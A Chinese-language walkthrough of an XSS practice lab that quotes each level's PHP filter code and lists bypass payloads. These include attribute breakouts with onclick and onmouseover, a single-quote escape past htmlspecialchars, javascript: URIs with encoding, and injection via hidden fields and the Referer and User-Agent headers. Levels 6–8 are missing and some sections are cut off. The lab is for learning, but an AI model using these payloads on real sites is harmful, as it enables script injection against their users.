目录
环境
关卡
level 1
level 2
level 3
level 4
level 5
level 6
level 7
level 8
扩展
level 9
level 10
level 11
level 12
level 13
总结
环境
PHP:php7.3.4nts
中间件:Nginx1.15.11
工具:Hackbar
level 1
代码审计:
Dom反射型,url -> web
$str = $_GET["name"];
echo "欢迎用户".$str."
";
//可以看到没有对输入有任何过滤
//意思就是我们可以任意操控$str的内容,那就可以用"把name的传的值先闭合了
//如果name的值传的是1"
//那解析后就会变成
echo "欢迎用户"1""
";
byPass:考查 -- 闭合双引号
"
"
"
"aaa
"
"
level 2
初步观察有点像普通反射型xss(url -> 服务器 -> web)
代码审计:
$str = $_GET["keyword"];
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
(发现这玩意两头通,如果走下面的input就是普通反射,走url就是dom反射)
注意:.htmlspecialchars($str).是把str中的" < > &都变成html实体了,
所以不会解析出来,所以那里是走不通的
byPass:考查 -- 闭合input标签 ">
">
" onmouseover="alert(1) (也可也直接在input里玩)
//记着str的前后内容"'str'">
...
level 3
和2的样子差不多,直接试试2的bypass能过不
显然,没闭合上
代码审计:
echo "没有找到和".htmlspecialchars($str)."相关的结果.
"."
分析 :这里很贴心的营造了能过关的环境,htmlspecialchars转换默认是不会转换 ' 的,所以只需要 ' 闭合value后,在input中使用on触发事件即可
尝试 ' οnclick=alert(1)
后边还差个单引号
bypass:考查 -- 在默认情况下绕过htmlspecialchars
' onclick=alert(1)'
' onmouseover='alert(1)
...
level 4
传个双引号发现前端变这样了,决定试一下" οnclick="alert(1) ..过了
代码审计:
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
分析:只是把左右尖括号给替换掉了,不用标签就行,直接on触发事件
byPass:
" onclick="alert(1)
on...
level 5
感觉level4那些on事件能行,试上一试
on被替换成o_n了
代码审计:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("
分析:先是把传的值变小写了,然后把
byPass:
javascript:alert(1)
解析出来是javascript:alert(1)
level 9
先把level8的来试一试
看来是对输入进行了判断
代码审计:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
友情链接';
}
else
{
echo '
友情链接 ';
}
?>
试一下把alert(1) 换成 alert( 'http://' )
成功了
byPass:
javascript:alert('http://')
还可以把后边的alert换成url编码
javascript:%61%6c%65%72%74%28'http://'%29
level 10
在前端代码里找到了点好玩的东西(下面的隐藏属性)
传参看看能传进去不
发现t_sort居然传进去了,直接动手换type
现在t_sort的value到type的空间已经可以任意施为了
byPass:
keyword=1&t_sort=" onclick=alert(1) type="text"
顺便看看代码:很明显能传俩参数
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
level 11
有点像level 10再看看
好家伙,多了个t_ref看着是个url从名字上来看是referer
传着看看
t_ref没传进去,显然不是参数,t_sort传进去了?!莫非...
?keyword=1&t_sort=" type="text" 玩进去试试,没生效,看来是被过滤成文本了
代码审计:
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
分析:t_sort的值用htmlspecialchars过滤了,逃不出去只能从t_ref动手,t_ref的值是referer所以传来试试
byPass:
level 12
这属性有点眼熟
通了,这算是一个题考两次了
顺便看代码:
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
level 13
看着有点眼熟,cookies试一试
错了,应该没这么简单,需要有正确的cookies
这是现在的cookies
byPass:
这些xss都较为简单,包括了一些解析顺序,编码方式,请求头的一丢丢知识,但都只是selfxss,不堪大用,不过作为xss入门还是很好的。